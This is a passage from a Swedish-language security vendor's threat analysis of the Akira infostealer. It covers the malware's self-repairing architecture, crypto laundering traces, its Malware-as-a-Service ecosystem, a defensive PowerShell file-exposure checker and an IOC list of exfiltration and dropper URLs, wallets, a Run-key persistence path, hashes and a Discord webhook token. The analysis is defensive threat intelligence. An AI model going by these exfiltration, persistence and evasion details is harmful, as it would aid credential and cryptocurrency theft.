Updater.exeraderas distribueras den på nytt. Ommain.exesaknas extraherarUpdater.exeden på nytt frånapp-64.7z. Omastor.pyraderas hämtas den på nytt av JavaScript-lagret. Det här ömsesidiga beroendet gör malwaren motståndskraftig och kapabel att rekonstruera sin exekveringskedja från praktiskt taget vilket överlevande fragment som helst.
Den här arkitekturen är inte bara modulär, den är självförsörjande, medvetet konstruerad för stealth, flexibilitet och långsiktig överlevnad i målmiljöer.
8.2 Varför detta är anmärkningsvärt
Kampanjens arkitektoniska design speglar en nivå av sofistikering som man vanligtvis inte ser hos vanliga infostealers. Den går bortom enkla flerstegsladdare, det här är malware konstruerad för operativ motståndskraft, stealth och automatisering.
Key Characteristics
- Full Autonomy När den väl är distribuerad kräver malwaren ingen användarinteraktion eller extern återaktivering. Den agerar som en illasinnad mikrotjänst och orkestrerar sin egen persistence, payload-exekvering och reparationsrutiner utan extern styrning.
- Multi-Language Execution Stack
Verktygskedjan integrerar:
- PE Binaries (
Updater.exe,main.exe) - Node.js / JavaScript (via Electron)
- PowerShell (används för obfuskerad payload-relä)
- Python (
astor.py, exekverad som minnesresident stealer) Den här skiktade sammansättningen gör det svårare att profilera, fingeravtrycka och analysera med konventionella statiska verktyg.
- PE Binaries (
- Defense Evasion by Design
Varje komponent är kodad, krypterad eller dynamiskt injicerad:
- Base64 PowerShell-relä
- AES-krypterad och GZIP-komprimerad Python-kärna
- Obfuskerad JavaScript med runtime-tokeninjektion
- Självläkande beteende som försvårar partiell borttagning
- No Single Point of Failure
Malwarens självreparationslogik säkerställer att borttagning av en enskild komponent inte räcker. Om
Updater.exetas bort återskapar infostealern den. Omastor.pyraderas laddas den ner och distribueras på nytt av JavaScript-styrenheten.
Kort sagt beter sig malwaren mer som ett distribuerat system än en typisk payload, ett system som prioriterar överlevnad, modularitet och stealth.
Det här lyfter hotet från en opportunistisk attack till en motståndskraftig, adaptiv plattform, vilket kräver att försvarare möter dess komplexitet med lika skiktade detekterings- och responsstrategier.
8.3 Konsekvenser för blue teams
För försvarare och CSOC-operatörer höjer den här sortens arkitektur ribban:
- Partiell sanering är verkningslös. Alla noder måste identifieras och tas bort samtidigt.
- Defender for Endpoint-korrelation är avgörande. Analytiker måste spåra hela kedjor: från
Updater.exe→cmd.exe→powershell.exe→python.exe. - IOC-fri persistence innebär att minnesbaserad heuristik, baslinjer för telemetri och kedjebaserad detektering är nyckeln.
Det här är inte bara en stealer. Det är en motståndskraftig malware-plattform, som beter sig mer som ett distribuerat system än ett enkelt hot. Och det är precis det som gör den både imponerande och farlig.
9. Blockchain-spårning och analys
9.1 Att spåra penningflöden i en Litecoin-baserad malware-kampanj
Under reverse engineering-fasen av den här malware-kampanjen extraherade vi flera hårdkodade plånboksadresser som stealern använde för exfiltrering av kryptovaluta. Genom att följa on-chain-aktiviteten hos dessa Litecoin-plånböcker kunde vi avslöja mönster som tyder på avsiktlig penningtvättstaktik. Den angriparkontrollerade plånboken LW6EopiZ... fungerar som en central aggregeringspunkt. Medel som stulits från flera offer slussas in i den här adressen, varefter de snabbt omfördelas över flera nya adresser.
Beteendet som ses här är representativt för ett klassiskt split-transfer-mönster som används vid crypto tumbling eller mixing-operationer. I varje fall delas hela det inkommande saldot upp i två ungefär proportionella utgående transaktioner, var och en skickad till en annan plånbok. Den här strategin är utformad för att försvåra address clustering och chain tracing genom att obfuskera medlens ursprung. Det är en effektiv taktik för att undgå detektering av automatiserade blockchain-analys- och threat intelligence-plattformar.
Det här penningtvättsbeteendet utnyttjar en kombination av transaktionstajming, exakt värdeuppdelning och minimerad återanvändning av adresser för att kringgå heuristik som vanligtvis tillämpas av clustering-algoritmer som de som används i GraphSense, Chainalysis eller TRM Labs. Den övergripande avsikten är att skapa transaktionsflöden med hög entropi, vilket förvirrar attribution och stör länkbarhet, särskilt när medlen till slut bryggas över andra tillgångar eller växlas till integritetsinriktade coins.
I exemplet nedan visar vi en strukturerad delmängd av det här beteendet. De inkommande transaktionerna representerar distinkta offeröverföringar. Dessa värden mappas sedan perfekt till utgående flöden, vilket visar hur coins "tvättas" genom snabba, förutsägbara och algoritmiskt uppdelade utbetalningar.
| Input Source | Input Date | Amount In (LTC) | → Attacker Wallet | Output Addresses | Total Out (LTC) |
|---|---|---|---|---|---|
| Input_1 | 2024-09-21 | 0.25339198 | LLQtaBnSAF... |
- LZmHkgkED... (0.15579078, 2024-09-26)- M8JpDsw5H7... (0.09760120, 2024-09-26)
|
0.25339198 |
| Input_2 | 2024-04-16 | 1.09976044 | LLQtaBnSAF... |
- LgWrCAF8ED... (0.84304664, 2024-06-13)- LgWrCAF8ED... (0.25671380, 2024-06-13)
|
1.09976044 |
| Input_3 | 2024-03-06 | 0.77089346 | LLQtaBnSAF... |
- LZL3wQcSRP... (0.38544673, 2024-03-04)- M8kiBpVHG3... (0.38544673, 2024-03-04)
|
0.77089346 |
| Input_4 | 2024-03-06 | 0.77089346 | LLQtaBnSAF... |
- LUFLTrqYpix... (0.38544673, 2024-03-04)- La22dfH9eM... (0.38544673, 2024-03-04)
|
0.77089346 |
10. Inuti Akira-ekosystemet – kommersialiserad cyberbrottsinfrastruktur
Akira är inte bara en stealer, den är mittpunkten i ett blomstrande underjordiskt ekosystem utformat för att förenkla, skala upp och tjäna pengar på cyberbrottslighet.
10.1 Ett plug-and-play-ekosystem för hotaktörer
Akira-ekosystemet exemplifierar utvecklingen av cyberbrottslighet till en professionaliserad, tjänstedriven ekonomi. Det omfattar:
- Builder Bots för payload-generering på begäran (t.ex.
@AkiraRedBot) - Telegram-kanaler för uppdateringar, funktionsförfrågningar och kundsupport
- Automatiserad licens- och betalningshantering, ofta via direktmeddelanden eller anonyma e-handelsplattformar som Sellix
- Buntade moduler som clipboard hijackers, Discord token loggers, browser data stealers och till och med ransomware-tillägg
- Anpassningsbara payloads med konfigurationsgränssnitt som tillåter växlingsreglage, webhook-input och ikonbranding

10.2 Kommersialisering av cyberbrottslighet
Akiras struktur speglar en bredare rörelse mot "Malware-as-a-Service" (MaaS), där:
- Ingen djup teknisk kompetens krävs för att starta attacker
- Låga inträdeskostnader ($75 för 3 månader, $150 för livstid)
- Omedelbar support och dokumentation via Telegram
- Bidrag från communityn utökar regelbundet Akira med skript och funktionsförslag
Det här ekosystemet efterliknar legitima SaaS-affärsmodeller, med changelogs, UX-förbättringar, prisnivåer och upsells.

10.3 Bortom stealern – ekosystemets komponenter
Även om astor.py är hjärtat i många attacker tillhandahåller ekosystemet en fullständig kedja:
- Obfuskeringsverktyg som PyInstaller-wrappers
- File binders för att koppla ihop illasinnade payloads med godartad programvara
- Compilers, crypters och runtime-polymorfism
- Hosting-speglar för payload-leverans och exfiltrering (t.ex. GoFile, AnonFiles)
- Datahanteringsbottar som sammanfattar stulna credentials och hårdvaruprofiler

11. Akira Stealer QuickCheck: berörda filer
11.1 Vad är detta till för?
Efter en misstänkt Akira Stealer-infektion är det avgörande att omedelbart veta vilka filer på ditt system som riskerade att exfiltreras. QuickCheck-PowerShell-skriptet som beskrivs ovan replikerar Akiras exakta söklogik: det skannar användarens mappar Desktop, Documents, Downloads och OneDrive efter filer som:
- Innehåller känsliga nyckelord i sitt filnamn, som
password,wallet,backupellertoken - Har specifika filändelser som ofta är måltavlor (.txt, .docx, .pdf, .jpg osv.)
- Ligger under storleksgränsen på 2 MB som malwaren använder
Även om QuickCheck erbjuder en snabb överblick baserad på Akira Stealers interna logik, är den inte en ersättning för omfattande forensiska verktyg eller professionell incident response. Följ alltid upp med djupare analys vid bekräftade intrång.
Den presenterar sedan en sorterad tabell med Filename, Relative Path, Size (KB) och det utlösande nyckelordet.
DISCLAIMER Det här verktyget tillhandahålls "as is" utan någon garanti för fullständighet eller lämplighet för ett visst ändamål. Det garanterar inte detektering av alla potentiellt känsliga filer, och ersätter inte heller fullständig malware-forensik. Använd på egen risk.
Juridisk information
Det här QuickCheck-verktyget är endast avsett för bedömningar inom defensiv säkerhet. All obehörig skanning eller användning på system du inte äger kan bryta mot lagar om integritet, upphovsrätt eller datormissbruk. glueckkanja AG tar inget ansvar för missbruk eller skador som uppstår till följd av användningen.
PowerShell-skript
<#
.SYNOPSIS
QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.
.DESCRIPTION
Scans Desktop, Documents, Downloads and OneDrive for files that:
• Contain one of the defined keywords in their name
• Have an allowed file extension
• Are not larger than 2 MB
Presents the results in a colored, tabular overview.
.NOTES
© glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach
#>
# -------------------------------------
# 1. Configuration
# -------------------------------------
$scanFolders = @(
"$env:USERPROFILE\Desktop",
"$env:USERPROFILE\Documents",
"$env:USERPROFILE\Downloads",
"$env:USERPROFILE\OneDrive"
)
$keywords = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'
$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'
$maxSize = 2MB
# -------------------------------------
# 2. Scan and Collect Matches
# -------------------------------------
$matches = [System.Collections.Generic.List[PSObject]]::new()
foreach ($folder in $scanFolders) {
if (-not (Test-Path $folder)) { continue }
Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
# 2.1 Extension filter
if ($extensions -notcontains $_.Extension.ToLower()) { return }
# 2.2 Size filter
if ($_.Length -gt $maxSize) { return }
# 2.3 Keyword filter: explicit loop to avoid null-method calls
$hit = $null
foreach ($kw in $keywords) {
if ($_.Name.ToLower().Contains($kw)) {
$hit = $kw
break
}
}
if (-not $hit) { return }
# 2.4 Build relative path
$rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)
# 2.5 Collect
$matches.Add([PSCustomObject]@{
FileName = $_.Name
Location = $rel
'Size (KB)' = [math]::Round($_.Length / 1KB, 1)
Keyword = $hit
})
}
}
# -------------------------------------
# 3. Display Results
# -------------------------------------
clear
Write-Host "🔍 glueckkanja AG – Akira Stealer QuickCheck" -ForegroundColor Cyan
Write-Host "────────────────────────────────────────────────────────" -ForegroundColor DarkCyan
if ($matches.Count -gt 0) {
$matches |
Sort-Object Location, FileName |
Format-Table -AutoSize `
@{Label='File'; Expression={$_.FileName}},
@{Label='Location'; Expression={$_.Location}},
@{Label='Size (KB)'; Expression={$_. 'Size (KB)'}},
@{Label='Keyword'; Expression={$_.Keyword}}
Write-Host "`n⚠️ Total potential matches: $($matches.Count)" -ForegroundColor Yellow
}
else {
Write-Host "✅ No potentially compromised files found." -ForegroundColor Green
}
Write-Host "`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach" -ForegroundColor DarkGray
Write-Host "Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis." -ForegroundColor DarkGray
12. Bortom incidenthantering – hur glueckkanja CSOC förvandlar incidenter till insikter
De flesta security operations centers stannar vid containment. Det gör inte vi.
På glueckkanja CSOC är vi övertygade om att incident response inte är mållinjen, det är startpunkten.
När andra utropar seger och går vidare gräver vi djupare. För oss är varje incident ett tillfälle att lära, anpassa oss och bli starkare. Vår obevekliga nyfikenhet, driven av många års djup forensisk expertis och reverse engineering-kapacitet, säkerställer att vi inte bara försvarar, vi förutser.
Den här filosofin är anledningen till att vi byggde Akira Compromise Reporter.
Långt bortom grundläggande detektering använder det här internt utvecklade forensiska verktyget vår ingående kunskap om Akira Stealer för att ge total klarhet i vilken data som har komprometterats. Inom några minuter producerar det en exakt, handlingsbar ögonblicksbild av incidentens fulla omfattning:
- Exakt vilka credentials, tokens och browser-sessioner som stals.
- Precis vilka kryptovalutaplånböcker, meddelandekonton och filer som exponerades.
- En tydlig, strukturerad och detaljerad forensisk rapport som förvandlar osäkerhet till omedelbar, välinformerad handling.

För på glueckkanja mäter vi vår framgång inte bara i blockerade hot, utan i den klarhet vi ger. Cybersäkerhet, gjord rätt, handlar inte om att bara reagera på incidenter, det handlar om att förstå, anpassa sig och alltid ligga ett steg före.
Det är glueckkanja CSOC-skillnaden.
13. Indicators of Compromise (IOCs)
Nedan följer en omfattande, ordagrann samling av IOC:er som extraherats direkt från malware-koden under vår interna reverse engineering-process på glueckkanja CSOC. Inga antaganden eller externa threat intel-källor användes, alla indikatorer är bekräftade fynd. Alla URL:er är avsiktligt obfuskerade för att förhindra oavsiktliga klick.
Abbreviations:
- TG: Telegram reporting channel
- Alt: Alternate (fallback) endpoint
1. Domäner och URL:er
| Category | Obfuscated URL | Description |
|---|---|---|
| Primary Injection | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php |
Initial attacker webhook endpoint |
| Fallback Injection | https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php |
Alternate injector endpoint |
| Error Reporting (TG) | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php |
Telegram error/log reporting URL |
| Error Reporting (Alt) | https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php |
Alternate error/log reporting URL |
| Vanity Bot (TG) | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php |
Vanity address notification endpoint |
| Vanity Bot (Alt) | https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php |
Alternate vanity notification endpoint |
| Exodus Injection | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar |
Electron Exodus app module |
| Atomic Injection | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar |
Electron AtomicWallet module |
| Updater Download | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe |
Persistence dropper executable |
| Gofile API List | https[:]//api.gofile[.]io/servers |
Retrieves best GoFile upload server |
| Discord Token Check | https[:]//discordapp[.]com/api/v9/users/@me |
Validates stolen Discord token |
| Discord Billing Info | https[:]//discord[.]com/api/users/@me/billing/payment-sources |
Retrieves billing methods |
| Google OAuth Replay | https[:]//accounts[.]google[.]com/oauth/multilogin |
Replays stolen Google session tokens |
| IP Check (hosting) | http[:]//ip-api[.]com/line/?fields=hosting |
Hosting environment detection |
| IP Lookup (geo) | http[:]//ip-api[.]com/json/{ip} |
Geolocation by IP |
| Public IP Retrieval | https[:]//api[.]ipify[.]org |
Fetches external IP address |
| File.io Upload | https[:]//file[.]io/ |
Secondary exfiltration channel |
| Oshi.at Upload | http[:]//oshi[.]at/ |
Tertiary exfiltration channel |
| JS Dropper Primary | https[:]//rentry[.]co/7vzd22fg36hfdd33/raw | Remote reference to actual ZIP URL |
| JS Dropper Fallback 1 | https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip | Alternative payload ZIP |
| JS Dropper Fallback 2 | https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip | Secondary fallback payload ZIP |
2. Kryptovaluta-adresser
| Currency | Address |
|---|---|
| BTC | bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt |
| ETH | 0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5 |
| DOGE | DACeoqWDPmNARSZAeDZPFwqwecbByaksmd |
| LTC | LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH |
| XMR | 4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D |
| BCH | qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs |
| DASH | XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1 |
| TRX | TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK |
| XRP | r36AwwhUH7BRujevi5mukbDrG46KGbTk8V |
| XLM | GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33 |
3. Registernycklar / sökvägar
| Registry Path | Purpose |
|---|---|
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc |
Checks for virtual GPU driver signature |
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName |
Checks for virtual GPU provider name |
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run (value Realtek Audio) |
Persistence via Run key (Updater.exe) |
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe |
Persistence Executable |
5. Filer och hashar
| Filename | SHA256 | Size (bytes) |
|---|---|---|
| app-64.7z | 331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380 |
63936274 |
| main.exe | C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B |
162036224 |
| jscrypter.js | 0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF |
1429 |
| obf.js | 1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343 |
30138 |
| input.js | E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7 |
7155 |
| package.json | 972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6 |
211 |
| astor.py | 850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4 |
205210 |
| exodus.asar | 6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB |
132486332 |
| pow.bat | 10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910 |
28454 |
| download.dat | C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B |
21142 |
| pyth.zip | E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7 |
32375391 |
| Updater.exe | 36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0 |
37652937 |
5. Discord- och Telegram-identifierare
| Category | Value |
|---|---|
| Discord Webhook ID | 1226766972675428372 |
| Discord Webhook Token | BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz |
| Telegram ID | 5035121855 |
14. Reflektioner kring Akira Stealer-incidenten: stärk ditt försvar med glueckkanja CSOC
Genom hela den här bloggen har vi utforskat den sofistikerade karaktären hos Akira Infostealer, ett avancerat cyberhot som kännetecknas av riktad credential-stöld, smygande dataexfiltrering och beständiga metoder för att undgå traditionella försvar. Att förstå hur den här malwaren fungerar, riskerna den medför och sårbarheterna den utnyttjar är avgörande för att bygga en robust cybersäkerhetsstrategi.
Akira Infostealer riktar sig specifikt mot känslig data som inloggningsuppgifter, browser-sessioner, kryptovalutaplånböcker, meddelandetjänster och personliga eller organisatoriska filer. Dess kalkylerade och precisa metoder kräver mer än bara vanliga säkerhetsåtgärder, de kräver kontinuerlig övervakning, djupgående forensisk analys och proaktiv threat intelligence.
På glueckkanja CSOC utnyttjar vi vår djupa tekniska expertis och avancerade analytiska förmåga för att gå bortom enkel detektering. Vårt specialiserade team övervakar kontinuerligt hot i realtid från våra dedikerade CSOC-servrar, vilket möjliggör omedelbar identifiering, grundlig utredning och effektiv neutralisering av hot som Akira Infostealer.
Men vårt arbete stannar inte vid incident response. Varje detekterad incident berikar vår kunskapsbas, stärker vår säkerhetsprofil och säkerställer att vi förblir flera steg före framtida hot. Med glueckkanja CSOC får du mer än skydd, du får en adaptiv säkerhetspartner som är engagerad i din långsiktiga motståndskraft.
Ta nästa steg i att säkra din organisations digitala tillgångar.
Kontakta glueckkanjas cybersäkerhetsexperter idag, så säkrar vi proaktivt din framtid tillsammans.
Stärk ditt försvar med glueckkanja CSOC.
15. Säkerhets- och ansvarsfriskrivning – användning av verklig skadlig kod
Den här publikationen innehåller detaljerade tekniska insikter, inklusive kodutdrag och beteendeanalyser härledda från faktisk skadlig programvara som upptäckts under incident response och forensiska utredningar. Syftet med att dela den här informationen är strikt utbildande, avsett att hjälpa professionella försvarare att förstå, upptäcka och svara på verkliga hot mer effektivt. Vi publicerar det här i god tro och med avsikten att bidra till den bredare säkerhetsgemenskapen.
Det är viktigt att notera att delar av den inkluderade koden härrör från threat actor-verktygslådor och malware-prover som cirkulerar i det vilda. De här fragmenten är inte vår immateriella egendom, och ska inte heller betraktas som säkra, sanerade eller på annat sätt "harmless". Reproduktion eller operativ användning av sådan kod avråds uttryckligen. Läsare måste förstå att även om det här materialet fyller en forsknings- och medvetandefunktion, medför det i sig en riskprofil som inte bör underskattas.
Endast utbildade yrkespersoner som verkar inom lagligt auktoriserade miljöer, såsom ackrediterade säkerhetsteam, SOC-enheter, akademiska forskare eller malware-labb, bör befatta sig med teknikerna eller koden som beskrivs. All experimentering måste begränsas till isolerade, icke-produktionssystem och följa tillämpliga lagar, interna riktlinjer och etiska standarder.
Vi tillhandahåller ingen support eller validering för någon reproducerad kod eller något reproducerat beteende. Det finns ingen garanti för korrekthet, relevans eller fullständighet. Vidare avvisar vi uttryckligen all användning av det här innehållet för offensiva syften, obehörig red teaming, kommersiell malware-utveckling eller adversariell testning utanför ett lagligt definierat omfång. Allt missbruk kan leda till rättsliga konsekvenser. glueckkanja AG frånsäger sig allt ansvar för direkta eller indirekta skador som uppstår till följd av användning eller feltolkning av det här innehållet.
Genom att fortsätta läsa eller referera till det här innehållet bekräftar du ovanstående och samtycker till att inte missbruka, replikera eller tillämpa någon del av det i olagliga eller oetiska sammanhang. Vid tveksamhet, rådgör med din juridiska avdelning, compliance-avdelning eller dataskyddsavdelning innan du befattar dig med live-kodanalys eller liknande tekniskt material.
Den här publikationen tillhandahålls "as is", utan garanti, support eller ansvar.















